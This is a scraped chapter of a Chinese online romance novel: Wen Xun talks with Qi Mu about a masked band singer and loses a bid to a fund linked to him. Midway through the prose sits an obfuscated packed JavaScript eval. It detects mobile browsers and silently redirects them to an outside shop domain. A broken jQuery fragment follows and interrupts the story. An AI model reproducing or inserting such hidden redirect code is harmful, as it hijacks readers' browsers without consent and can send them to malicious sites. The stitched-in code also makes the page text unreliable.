文趣网 > 其他小说 > 隐秘野心 > 12. Chapter 12
    温寻完全沉浸在想象中,不自觉浮现出猥琐的笑容。

    “嘿嘿,喜欢他唱歌好听……身材也超级好!”

    猛烈的咳嗽,齐牧被狠狠呛到。

    “你怎么了?”

    温寻被吓了一跳,不知道他这是怎么了,赶紧又起身去倒水,小心翼翼递到他手里。

    等看到齐牧稍微好了一些,她又兴冲冲聊了起来:“你什么时候知道这个乐队的?我喜欢他们有差不多三年快四年了。”

    “但很奇怪,我以前不觉得主唱有多好。昨天是我第一次看他们的线下,没想到突然get到主唱了。”

    “我觉得他各方面都提升了太多,嗯……怎么说呢,总之就是非常性感,无论嗓音还是身体!”

    温寻说得兴致勃勃,齐牧却面无表情。

    喝完粥,齐牧放下了碗筷,开始收拾桌面。

    现场气氛很冷,温寻好奇:“怎么不说话?你不是在现场吗,你没什么感觉吗?”

    “嗯。我昨天的位置和你不一样,看到的画面也和你不同,可能没有你那种体会。”

    “可是这和位置没关系吧,我看下面每个人都特别激动啊!”温寻不解。

    齐牧却不接话,收好碗筷进了厨房,背对着温寻开始洗碗。

    “真奇怪。”温寻依然坐在餐桌边没起身,小声嘀咕。

    既然齐牧都能为了Moth乐队去看现场,为什么聊起来的时候他没有一点兴奋的神情,反而兴致并不高呢?

    和这个男人也太难聊天了。

    “我一直都很喜欢Moth的音乐风格。”温寻不想结束这个话题,“不过作曲人M好像从来没有露面过。我觉得他是这个乐队的灵魂。”

    齐牧拉开水槽上方的吊柜门,把洗好的碗一只一只码进去。

    她蜷缩起双腿来到椅子上,头靠椅背,让长发流淌下来:“不过我喜欢留白,如果中间能有空拍,给人那种心跳漏了一拍的感觉,可能整个节奏会更好。”

    入夜,又因为刚刚吃过饭,温寻觉得有点闷,回来的时候隐约有印象今晚天气还不错,就走过去开了窗。

    风溢进屋子,令温寻感觉有些困倦。

    因为齐牧很久不回复关于乐队的话题,温寻也进入饱腹之后的神游状态,于是坐着放松,开始享受起这个夜晚来。

    她坐着的这张餐桌对面,是一张白色岛台。

    岛台内侧,齐牧正低着头忙碌。

    客厅在她左手边不远处。

    温寻这才发现,原来在她睡着的这段时间,电视柜上古着花瓶里,原先被她养死了的波斯菊已经被齐牧替换掉了,变成了淡紫色的香雪兰。

    她并没有特别喜欢香雪兰,但就这样看起来又觉得特别好看。

    看来齐牧的审美真是很不错。

    温寻以前不喜欢开放式厨房。

    不过她现在发现,开放式厨房有个好处,她能看见他在那里摆弄时的全部动作。

    肩胛骨随着动作微微伸展,脊背线条在衬衫下若隐若现。

    窗外的风吹进来,带着一点海港的湿气。

    水声停了,齐牧背对着温寻擦手。

    温寻又继续抬头,拉伸脖子,顺便看着天花板:“齐牧,你说我有没有可能追到那个主唱?”

    “没可能。”这次齐牧回答得很快。

    温寻盯着他的背影看,怀疑他到底有没有听清楚自己的问题:“你听清楚我在说什么了吗?这么坚决,你怎么知道的。”

    “我了解他,你没可能。”齐牧声音低沉。

    “真的吗?”温寻突然来了兴趣,从椅子上跳下来,来到齐牧身边。

    他又了解?

    陆柏舟他也了解,这个主唱他也了解。

    他就那么了解男人吗?

    温寻凑近些,歪着头:“有多了解?展开说说。”

    齐牧皱眉:“我很怀疑你是不是理解能力有问题,重点难道不是没可能吗?”

    “陆柏舟我也追到了,这世界上没有不可能的事。”温寻自信道。

    如果追人很容易,那就没什么意思。

    她最喜欢的就是这种有挑战的事情了。

    齐牧没停下手上的动作:“是吗?”

    “那你有没有想过有一天会离婚?”

    不说就不说,干嘛要人身攻击啊。

    温寻有点不悦:“你讲这个干什么?”

    “没什么,只是想提醒你少做玩火的事,很容易把自己搭进去。”

    他终于结束忙碌,掌心压在台沿,转身正对着她。

    “既然我自己不行的话……那你再教教我,好不好?”

    温寻又露出那种求人办事的假笑。

    就像几年前一样。

    是齐牧很熟悉的,也很厌烦的假笑。

    她很清楚齐牧总是可以在关键时候帮大忙。

    她也承认自己挺自私的。

    就想有人给她指条路子让她少走点弯路。

    哪怕这个人是一个,她不怎么喜欢,也不怎么喜欢她的人,她也一点不介意。

    何况,当年追陆柏舟,温寻也没少向齐牧取经。

    他教的那几句虽然简短但是指哪打哪,很好用。

    “不行。”齐牧移开视线。

    “为什么啊?”温寻大声质问。

    “为什么能教我追陆柏舟,但是不能教我追那个主唱啊!”她不依不饶,带点缠磨,“你不是说你了解他吗?他也是你朋友吧,你一定也很懂他才对。”

    “不、行。”他再次重复。

    温寻从来不怕冒犯他。

    她甚至觉得,像齐牧这种永远端着,骨子里透着克制隐忍的男人,就得用力冒犯一下,才能把他的体面撕开。

    冒犯他是很爽的一件事,越冒犯才关系越近。

    可每次她以为关系能再近一点,他就开始反常了,说的话越来越听不懂,又固执得像头牛。

    “为什么?”她问得直接。

    “反感离婚的女人谈新欢?还是你作为陆柏舟的好兄弟,受不了我喜欢别人?”

    厨房安静了几秒。

    “我怕你像害陆柏舟一样去害别人。”齐牧说。

    言语如刀,字字诛心。

    温寻没想到他会说出这样的话,心里像被狠狠刺了一下。

    这么伤人的话他居然说得这么轻描淡写……

    果然,他们之间就是有这样的隔阂。

    原来在齐牧心里,她是一个害了他朋友陆柏舟的红颜祸水。

    这些年他的态度,她每次想要上前破冰时他的躲避,突然就合理了。

    “原来我在你心里是这样的啊。”温寻全然没了刚才的兴奋,静悄悄地走开。

    齐牧看着她那副先是理直气壮,后来又有点落寞冷淡的模样,心里的郁气剧烈翻涌上来,身体的温度逐渐攀升。

    她率性大胆,大学时便是。

    他一直知道。

    但他完全没想到,自己会如此厌烦她刚刚的那副样子。

    她喜欢那个藏在面具下的男人,她为那层伪装着迷,为那个她以为是完全陌生的另一个人疯狂。

    她不知道面具之下那个身体就是他。

    一旦想清楚这件事,齐牧心口就多了一根细小的倒刺。

    他心底清楚,无论她是真心的还是只是为了玩玩找乐子,只要她知道那个主唱就是自己,她一定会立刻果断地退开,回到那副生疏客套的姿态里去。

    她待他始终是沈令仪的表哥,是陆柏舟的朋友,是恒瑞资本的齐总。

    唯独不会是一个,让她敢于直接坦率地,舒展所有迷恋的,全新的男人。

    但这不是显而易见的吗?

    他向来活得精准,沉着冷静,笃定万物有迹可循。

    至于温寻是什么样的人,会做什么事,他也早在心里推演过无数遍。

    甚至包括她什么时候会说出一些挑衅的话,他都觉得在掌控之内。

    可他偏偏没算准这种感觉。

    温寻在贴近男人讨好男人这件事上表现得越坦荡,他就越发觉得,她所谓的喜欢是多么廉价和不堪一击。

    也许路上走过一百个男人,她就可以心动一百次。

    可他更厌烦的,是此刻竟然感到一种被辜负的荒谬。

    这种感觉比温寻的任性和挑衅更让他难以忍受。

    很快,两人陷入死寂一般的沉默,没有人再说话。

    “我都处理完了,先走了。”齐牧开门,语气恢复一如既往的体面礼貌。

    “嗯,麻烦了。”温寻漫不经心地应着。

    咔哒一声,门关了,留下一片寂静。

    *

    台风走之后,维城恢复一如既往的闷热。

    温寻每次只要出门都像是进了蒸笼,走在路上不自觉脚步也加快,只想赶紧逃到室内去凉快凉快。

    之前艺术园区的项目,这段时间招标在即,澄观文化的会议室天天嘈杂热闹。

    越到后期人手越捉襟见肘,夏原申请把叶念希也调了过来帮忙。

    开完会,温寻就钉死在工位上,忙得键盘要搓出火星子。

    忙到将近下午一点,胃里绞痛得发慌,她才想起今天早餐午餐都还没吃。

    顺手点了个外卖,没想到太心急,等了半个多小时再拿起来看的时候,发现外卖地址鬼使神差地填回了家。

    她火速给外卖小哥留言:【不好意思填错地址,送你吃了!】

    叶念希就是这时过来找她的。

    她趴在温寻工位边,递了包软糖上来:“温寻温寻,下楼吃口饭吧,就楼下那个盖浇饭,很快的。”

    温寻抬头:“你的那部分完成了?”

    叶念希:“当然没有啊,但是再不吃饭就又到下午了,工作哪有吃饭重要啊!”

    温寻合上电脑:“那走吧,我们快去快回。”

    温寻今天胃口不太好,也可能是饿久了,吃得心不在焉。

    整个吃饭过程手机震个不停,她一直忙着回复工作信息。

    饭后,叶念希实在忍不了天气炎热,说要喝柠檬茶。

    她们先线上点了单,再来到盖浇饭旁边的柠檬茶店,发现路边等的人已经排成了长龙。

    两人在树荫下挨了一会儿,实在是忍不了了,闪进了旁边一家冷气开得很足的书店。

    慢慢散步过去,温寻从架上抽出一本丹纳的《艺术哲学》兀自翻看起来。

    叶念希凑过来:“你还真是一直挺喜欢这些的啊。”

    “怎么?”温寻瞄了叶念希一眼,“那你是喜欢还是不喜欢?”

    “我嘛,一般。”叶念希耸肩,却突然转了话锋,“不过许浚尧喜欢。我觉得你们俩挺合得来的。”

    温寻一下就懂了叶念希的意思。

    怪不得这么忙都一定要拉自己下楼来吃饭,原来这顿饭是鸿门宴。

    温寻合上书:“我就说呢,怎么前几天不见你约我下来吃饭,原来你今天是带着任务来的。”

    “哪能啊!”叶念希笑得狡黠,“你不能这么想我,我虽然是带着任务来的,但我还是你这边的人啊!”

    温寻换了本书,这次是一本伊斯坦布尔的摄影集。

    她翻着页,语气平淡:“他让你来找我的?虽然说我现在单身,但不代表非要跟谁试试,我知道他想追我,但是我现在真的不想谈恋爱。”

    “话是这么说,但是,我建议你真的可以看看我老同学。”叶念希得寸进尺,“条件真是没得挑。在国外长大,认识不少艺术家,跟你正合适。而且家里有钱,维城数得上的豪门。最关键的是,他和你前夫不一样的,不是妈宝男,很有担当,你信我,我认识他很久了。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887607|212608||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    温寻翻书页的手指停了停。

    她犹豫了一下,还是掏出手机,找了一张陆柏舟的照片递给叶念希:“你看看,这是我前夫。”

    “啊?”叶念希凑近了看,无比震撼:“这不就是许浚尧吗?只不过看起来比许浚尧年纪大一点……原来他们长得这么像的嘛?”

    “你现在懂了吧!”温寻熄了屏把手机收好,“我现在看见他,就像看见大学时期的我前夫,我就问你,你能下得了手吗?”

    “原来如此。”但叶念希又马上摇头,“可是他们性格差很多的。你别先入为主。况且……既然他和你前夫长得像,恰恰说明了,他就是你会喜欢的类型啊!”

    温寻回应:“你老同学做朋友还是很不错的。”

    “唉!”叶念希露出一副痛心疾首的模样,“看来他这次只能暗自神伤了。你这个离了婚的女人,果然难相信爱。”

    “错了。”温寻打断她,重新翻开那本摄影集,“我一直都相信爱。只是对你老同学没感觉。”

    叶念希最终没再劝,只叹了口气:“好吧,那回头我劝他死心吧。”

    投标刚截止,温寻立马调了两天假。

    前阵子忙得脚不沾地,这下总算得了空。

    她在家也没闲着,从早到晚搞卫生,甚至还去花墟买了束花插在餐桌上,又点上了柠檬草味的线香。

    她新买了抱枕套和一个联名款的毛绒娃娃,折腾完往沙发上一窝。

    看着焕然一新的小家,正准备舒舒服服过完这两天。

    第二天上午,刚过十点,手机震得嗡嗡响,来电显示“夏原”。

    温寻接起:“夏姐?”

    “温寻,出事了。”夏原说,“别发呆了,赶紧开电脑!”

    温寻昏头昏脑地爬起来,直接伸手把床头柜上的电脑拖进了被窝里。

    她坐起来背靠着床头,被子蒙在头上,电脑屏幕光打在她刚睡醒的脸上,亮得她眯着眼睛。

    屏幕上,朴叙艺术空间旧城活化项目中标页面上,赫然写着中标方是金盏树文化基金。

    一个对温寻来说很陌生的名字。

    但电话那头夏原并没有挂,发了一些网页过来,让温寻逐个点开熟悉查看,同时解释。

    “温寻,现在清醒了没?我们落标了。”夏原的声音透着疲态,“之前出去沟通摸底,人家对我们兴趣很大,我当时以为稳了。现在看,人家那是钓鱼,不知道是不是一开始就没考虑我们。”

    温寻没接夏原的话,指尖在触摸板上滑动,点开金盏树的工商资料和介绍网页。

    “这项目水太深了。”温寻听到夏原在对面点了根烟,“朴叙艺术空间它不是一个单纯的商业体,这里面除了那些文化娱乐元素,还涉及到跨境艺术品展示和一些古董保管业务。这样的项目需要牌照和背景的,确实不是我们的优势。”

    网页加载得很慢。

    温寻盯着进度条,看着那家名不见经传的基金公司的域名。

    内容一出来,她马上迅速划动网页。

    直到股权架构图层层展开,她才明白,这个金盏树名义上是私募基金,底下却盘根错节,全是维城世家的共同持股。

    再往下拉,其中就有恒瑞资本。

    原来如此。

    “之前老板带我去探口风,恒瑞资本的齐牧也在场。”夏原吐出一口烟圈,“那个时候他从头到尾没说一句话,我还以为他不在意,现在想起来,可能人家早就胜券在握了,是我们没读懂人家的意思。”

    “虽说澄观在维城,做国际策展和高端商业空间设计这一块是数一数二的,但这次隔行如隔山了。”

    夏原说的不无道理,澄观文化是纯商业公司,主要客户阵地在国外,也会涉及欧洲皇室基金或纽约私人藏家等等,从来不缺订单。

    但这次朴叙这个项目,确实不是澄观文化能碰的盘子。

    “但这个结果倒也公平。这块骨头是我们拿到,估计也啃不下来。”夏原最后补了一句。

    温寻听着有点像是她在自己劝自己。

    “夏姐,别抽烟了,备孕呢。”温寻听到开烟盒和按打火机的声音,好心提醒。

    夏原在那头愣了一下,把烟扔到一旁,笑了笑:“今天太烦了。好,听你的。”

    电话挂了之后,温寻把电脑放好,又躺了下去。

    她突然觉得自己之前有点小看齐牧了。

    他不是陆柏舟的朋友或沈令仪的表哥那么简单。

    起码在这维城,他是执棋的人,杀伐果断,不动声色。

    朴叙艺术空间那块地位于维城最核心的文脉之上,是连顶级地产商都要削尖脑袋才能争抢的稀缺资源。

    这样的地方,一定会是被他拿下的,他有那个手段、魄力和资本。

    金盏树在维城这巴掌大的地方拿下这个项目,他在幕后,也等同于圈地封侯,是规则的制定者在划分领地。

    这种权利的游戏,根本不是温寻所处的环境能够想象的。

    她突然意识到,自己之前那些小聪明可能在他看来幼稚得可笑。

    这段时间她大概是昏了头,忘了他到底是谁。

    这样的齐牧确实会看不起她。

    又怎么还会让她钻空子,再去接近他的朋友呢。

    “我怕你像害陆柏舟一样去害别人。”

    这种话,明摆着就是把温寻划分在他的圈层之外吧。

    可能他也是像其他人那么想的,觉得她不自量力,非要挤破头往不属于自己的地方挤。

    一次陆柏舟已经让他自以为看清自己了,肯定不会再允许这种事情发生第二次吧。

    *

    傍晚,维城的细雨落得悄无声息。

    维城半山腰的齐家老宅,灰墙黛瓦,隐在雨雾里。

    齐牧下车,撑开伞往里走,穿过游廊,推开书房的门。